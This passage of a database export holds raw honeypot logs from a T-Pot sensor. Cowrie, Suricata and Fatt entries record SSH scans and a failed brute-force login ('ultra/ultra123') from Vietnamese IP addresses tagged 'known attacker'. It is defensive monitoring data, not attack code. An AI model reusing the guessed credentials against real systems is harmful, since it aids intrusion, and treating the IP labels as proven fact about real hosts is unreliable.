"hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56992, "dest_port": 22, "timestamp": "2021-09-20T11:08:35.276154", "@timestamp": "2021-09-20T11:08:35.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24230	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:35.888043+03	2021-09-20 14:15:08.5155+03	{"_id": "RgbkAnwBvYTbRNuEuRIM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7fe8617cbda9", "@version": "1", "duration": 2.937303304672241, "timestamp": "2021-09-20T11:08:35.888043Z", "@timestamp": "2021-09-20T11:08:35.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24231	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:35.929077+03	2021-09-20 14:15:08.5165+03	{"_id": "PwbkAnwBvYTbRNuEuRIM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c12798484fe7", "@version": "1", "duration": 2.481729507446289, "timestamp": "2021-09-20T11:08:35.929077Z", "@timestamp": "2021-09-20T11:08:35.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24232	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:36.326033+03	2021-09-20 14:15:08.517472+03	{"_id": "QAbkAnwBvYTbRNuEuRIM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ultra/ultra123] failed", "session": "8ca4a3849b69", "@version": "1", "password": "ultra123", "username": "ultra", "timestamp": "2021-09-20T11:08:36.326033Z", "@timestamp": "2021-09-20T11:08:36.326Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24233	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:36.709347+03	2021-09-20 14:15:08.518501+03	{"_id": "SAbkAnwBvYTbRNuEuxJq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 297484126803938, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44162, "dest_port": 22, "timestamp": "2021-09-20T11:08:36.709347Z", "@timestamp": "2021-09-20T11:08:36.709Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24243	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:29.750378+03	2021-09-20 14:15:08.53147+03	{"_id": "cwbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49896 (192.168.176.2:22) [session: 20f4e4fe5785]", "session": "20f4e4fe5785", "@version": "1", "protocol": "ssh", "src_port": 49896, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.750378Z", "@timestamp": "2021-09-20T11:08:29.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24234	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:36.436705+03	2021-09-20 14:15:08.519501+03	{"_id": "TAbkAnwBvYTbRNuEvBJX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44162, "timestamp": "2021-09-20T11:08:36.436705", "@timestamp": "2021-09-20T11:08:36.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24235	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:37.389339+03	2021-09-20 14:15:08.5215+03	{"_id": "bQbkAnwBvYTbRNuEwBJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36838, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.389339", "@timestamp": "2021-09-20T11:08:37.389Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24236	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:37.709332+03	2021-09-20 14:15:08.5225+03	{"_id": "bAbkAnwBvYTbRNuEwBJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59102, "dest_port": 22, "timestamp": "2021-09-20T11:08:37.709332", "@timestamp": "2021-09-20T11:08:37.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24237	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:38.96094+03	2021-09-20 14:15:08.523509+03	{"_id": "gwbkAnwBvYTbRNuEwxI7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1467038081361953, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56036, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.960940Z", "@timestamp": "2021-09-20T11:08:38.960Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24244	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:29.411201+03	2021-09-20 14:15:08.53247+03	{"_id": "iQbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "209237faf1a6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:29.411201Z", "@timestamp": "2021-09-20T11:08:29.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24238	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:29.090559+03	2021-09-20 14:15:08.5245+03	{"_id": "YgbkAnwBvYTbRNuEnRGt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4f6638352544", "@version": "1", "timestamp": "2021-09-20T11:08:29.090559Z", "@timestamp": "2021-09-20T11:08:29.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24239	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:29.127149+03	2021-09-20 14:15:08.526511+03	{"_id": "aQbkAnwBvYTbRNuEoBEN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:29.127149+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": 